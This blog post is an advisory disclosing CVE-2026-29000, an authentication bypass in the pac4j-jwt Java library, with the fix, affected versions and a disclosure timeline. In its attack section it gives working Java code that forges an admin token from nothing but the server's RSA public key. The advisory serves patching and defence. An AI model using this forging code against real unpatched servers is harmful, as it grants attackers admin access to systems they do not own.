DEV Community

Cover image for Your Server's Public Key Is All I Need to Become Admin, CVE-2026-29000
Amartya Jha
Amartya Jha

Posted on • Originally published at codeant.ai

Your Server's Public Key Is All I Need to Become Admin, CVE-2026-29000

A CVSS 10.0 authentication bypass in pac4j-jwt. No secrets stolen. No brute force. Just your public key — the one you're supposed to share.


TL;DR

We found a critical authentication bypass in pac4j-jwt, one of the most widely used Java security libraries. An attacker who has only your server's RSA public key can forge a JWT token, authenticate as any user — including admin — and the server will trust it completely.

  • CVE: CVE-2026-29000
  • CVSS Score: 10.0 / 10.0 (Critical)
  • Affected: pac4j-jwt < 4.5.9, < 5.7.9, < 6.3.3
  • Fixed in: 4.5.9, 5.7.9, 6.3.3
  • CWE: CWE-347 (Improper Verification of Cryptographic Signature)

The Irony That Keeps Me Up at Night

Here's what makes this vulnerability uniquely terrifying:

Every single piece of code involved is technically correct.

  • The JWT spec? Correctly implemented.
  • The Nimbus library? Behaves exactly as documented.
  • The null check? Perfectly valid Java.

The vulnerability isn't in any one component. It's in the assumption that ties them together — the assumption that if decryption succeeds, what's inside must be a signed token.

It's not.


How JWT Authentication Is Supposed to Work

Before we break things, let's understand the happy path.

Normal flow:

[Server] → Create claims → Sign (private key) → Encrypt (public key) → [Client]
[Client] → Send token → [Server] → Decrypt (private key) → Verify signature → ✅
Enter fullscreen mode Exit fullscreen mode

Two layers of protection. Encryption for confidentiality. Signature for integrity. Both must pass.

Or so you'd think.


The Three Types of JWT (Most Developers Only Know Two)

The JWT specification (RFC 7519) defines three token types:

Type What it is Signed? Encrypted?
JWS JSON Web Signature Yes No
JWE JSON Web Encryption No Yes
PlainJWT Unsecured JWT No No

Most developers never think about PlainJWT. It's an unsigned, unencrypted token with \"alg\": \"none\" in its header. It exists in the spec. Libraries support it. And it's the key to this entire attack.


Where It Breaks: One Null Check, Total Bypass

Here's the critical section of pac4j's JwtAuthenticator:

// After decrypting the JWE...
SignedJWT signedJWT = jwtObject.toSignedJWT();

if (signedJWT != null) {
    // Signature verification happens HERE
    verifySignature(signedJWT, configuration);
}

// Continue processing claims...
// ⬆️ Reaches here regardless of whether signature was verified
Enter fullscreen mode Exit fullscreen mode

See it?

The signature verification is gated behind a null check. If signedJWT is null, verification is skipped — silently. No error. No exception. No log. The code just... moves on and processes the claims anyway.


When Does toSignedJWT() Return Null?

The Nimbus JOSE+JWT library returns null from toSignedJWT() when the inner JWT is not a SignedJWT.

Like a PlainJWT.

Nimbus is doing exactly the right thing — a PlainJWT isn't signed, so it shouldn't be cast to SignedJWT.

pac4j's null check is also "correct."

But together? They create a path where an attacker bypasses authentication entirely.


The Attack: Step by Step

Here's how an attacker goes from "I have your public key" to "I am your admin."

Step 1: Get the public key

RSA public keys are designed to be shared. They're in JWKS endpoints, TLS certificates, API docs, .well-known URLs. Not a secret. That's the whole point.

Step 2: Craft malicious claims

JWTClaimsSet claims = new JWTClaimsSet.Builder()
    .subject("admin")
    .claim("role", "ROLE_ADMIN")
    .claim("email", "admin@target.com")
    .expirationTime(new Date(System.currentTimeMillis() + 3600000))
    .build();
Enter fullscreen mode Exit fullscreen mode

Any user. Any role. Any permission.

Step 3: Create a PlainJWT (NOT a signed JWT)

PlainJWT plainJWT = new PlainJWT(claims);
Enter fullscreen mode Exit fullscreen mode

No signature. No private key needed. Valid per the JWT spec.

Step 4: Wrap it in JWE using the public key

JWEHeader header = new JWEHeader(
    JWEAlgorithm.RSA_OAEP_256,
    EncryptionMethod.A256GCM
);

JWEObject jwe = new JWEObject(header, new Payload(plainJWT.serialize()));
jwe.encrypt(new RSAEncrypter(rsaPublicKey));

String forgedToken = jwe.serialize();
Enter fullscreen mode Exit fullscreen mode

From the outside, this looks identical to a legitimate encrypted token.

Step 5: Send it

Server decrypts it. Calls toSignedJWT(). Gets null. Skips verification. Processes claims.

You're admin now.


Why This Is a Perfect 10.0

CVSS Metric Value Why
Attack Vector Network Remotely exploitable
Attack Complexity Low No special setup needed
Privileges Required None Public key is... public
User Interaction None No phishing needed
Confidentiality Impact High Full data access
Integrity Impact High Modify anything as admin
Scope Changed Pivot to downstream systems

How We Found It

This CVE came out of CodeAnt AI's ongoing security research program. We systematically audit whether CVE patches in widely-used open-source packages actually fix the underlying vulnerability.

Our AI code reviewer flagged the null check anomaly — the pattern where a security-critical operation (signature verification) is gated behind a condition that can be trivially controlled by an attacker.

The AI didn't "find a bug." It found a logical gap between correct components — the hardest class of vulnerability to catch with traditional tooling.


The Fix

Maintainer Jérôme Leleu responded within hours and shipped coordinated patches across three major version lines in two business days. Exceptional open-source maintainership.

The fix ensures:

  • PlainJWTs inside encrypted containers are rejected
  • Signature verification is mandatory, not conditional
  • Absence of signature = failure, not skip

Are You Affected?

Check now:

<!-- Maven -->
<dependency>
    <groupId>org.pac4j</groupId>
    <artifactId>pac4j-jwt</artifactId>
    <!-- Below 4.5.9 / 5.7.9 / 6.3.3? You're vulnerable. -->
</dependency>
Enter fullscreen mode Exit fullscreen mode
// Gradle
implementation 'org.pac4j:pac4j-jwt:X.X.X'
Enter fullscreen mode Exit fullscreen mode

Upgrade immediately to: 4.5.9+ / 5.7.9+ / 6.3.3+


Key Takeaways

  1. Never assume token type after decryption. Explicitly validate the inner payload type.

  2. "Correct code" can compose into vulnerabilities. Each component followed its spec. The bug was in the gap between them.

  3. Null ≠ Safe. A null check that silently skips security validation is worse than no check at all.

  4. Public keys are public. Never design a system where possessing only the public key grants authentication capability.

  5. Audit your patches. Verify patches address root causes, not just reported symptoms.


Responsible Disclosure Timeline

Date Event
Discovery CodeAnt AI Security Research flags the vulnerability
Disclosure Reported to pac4j maintainer
Acknowledgment Confirmed within hours
Patches released Versions 4.5.9, 5.7.9, 6.3.3
CVE assigned CVE-2026-29000 (CVSS 10.0)
Advisory GHSA-pm7g-w2cf-q238
Public disclosure March 4, 2026

References


This research was conducted by the CodeAnt AI Security Research Team. CodeAnt AI is an AI-powered code review platform that auto-fixes code quality and security issues across 30+ languages.

Found a vulnerability? Reach out: security@codeant.ai

Top comments (0)